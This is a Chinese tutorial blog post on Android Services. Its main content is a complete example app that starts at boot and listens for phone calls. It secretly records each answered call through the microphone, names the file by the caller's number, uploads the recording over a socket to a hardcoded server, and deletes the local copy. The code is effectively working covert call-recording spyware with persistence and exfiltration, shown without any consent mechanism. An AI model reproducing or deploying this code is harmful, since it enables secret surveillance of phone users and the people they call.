服务-service



1.<1>定义一类继承Service类<2>定义一类继承IntentService
class SMSService extends Service(){}
2.主配置文件<application> 节点对服务配置
<service android:name".SMSService"/>
3<1>.service 两种启动方式
Context.startService(),访问者与服务之间没有关联,访问者退出了,服务仍然运行
Context.bindService(),访问者与服务绑定,访问者退出,服务也退出(用户可以间接调用服务里面的方法-[自定义])
3<2>service停止方式
stopService(); 服务类外部使用
stopSelf();  在服务类内部使用
采用Context.startService(),启动服务,只能调用Context.stopService()方法停止服务,
服务结束时,调用onDestroy()方法
需求:保证服务长期后台运行,又想调用服务里面的方法
 - 1.开启服务 -2.绑定服务
 技巧 - 1.开启服务 startService() - onCreate();
  --2.绑定服务 bindService() - onBind();
  - 3.这样:调用者退出,服务被解绑
  - 4.stopService() 停止服务

PhoneService.java

package cn.itcast.phonelistener;

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;
import cn.itcast.utils.StreamTool;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

/**
 * TelephonyManager:电话管理服务,电话状态信息
 * TelephonyManager.listen(PhoneStateListener listener, int events)
 * @author Administrator
 *
 */
public class PhoneService extends Service {

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	@Override
	public void onCreate() {
		super.onCreate();
		//获取电话状态
		TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		//监听电话状态
		telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
	}
	/**
	 * 判断电话状态state
	 * 调用MediaRecorder API录音
	 * File.separator:分隔符 windows是\,unix是/
	 * @author Administrator
	 *
	 */
	private final class PhoneListener extends PhoneStateListener{
		private String incomingNumber;
		private File file;
		private MediaRecorder mediaRecorder;
		
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_RINGING://来电
					this.incomingNumber = incomingNumber;
					break;

				case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
					file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");
					mediaRecorder = new MediaRecorder();
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					mediaRecorder.prepare();
					mediaRecorder.start();//开始录音
					break;
					
				case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
					if(mediaRecorder != null){
						mediaRecorder.stop();
						mediaRecorder.release();
						mediaRecorder = null;
						uploadFile();
					}
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}

		private void uploadFile() {
			new Thread(new Runnable() {				
				public void run() {
					try {
						if(file!=null && file.exists()){
							Socket socket = new Socket("192.168.1.100", 7878);
				            OutputStream outStream = socket.getOutputStream();
				            String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
				            outStream.write(head.getBytes());
				            
				            PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());	
							String response = StreamTool.readLine(inStream);
				            String[] items = response.split(";");
							String position = items[1].substring(items[1].indexOf("=")+1);
							
							RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
							fileOutStream.seek(Integer.valueOf(position));
							byte[] buffer = new byte[1024];
							int len = -1;
							while( (len = fileOutStream.read(buffer)) != -1){
								outStream.write(buffer, 0, len);
							}
							fileOutStream.close();
							outStream.close();
				            inStream.close();
				            socket.close();
				            file.delete();
				            file = null;
			            }
			        } catch (Exception e) {                    
			            e.printStackTrace();
			        }
				}
			}).start();
		}		
	}
}
BootBroadcastReceiver.java

package cn.itcast.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent service = new Intent(context, PhoneService.class);//显式/隐式
		context.startService(service);//Intent激活组件(Service)
	}

}



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值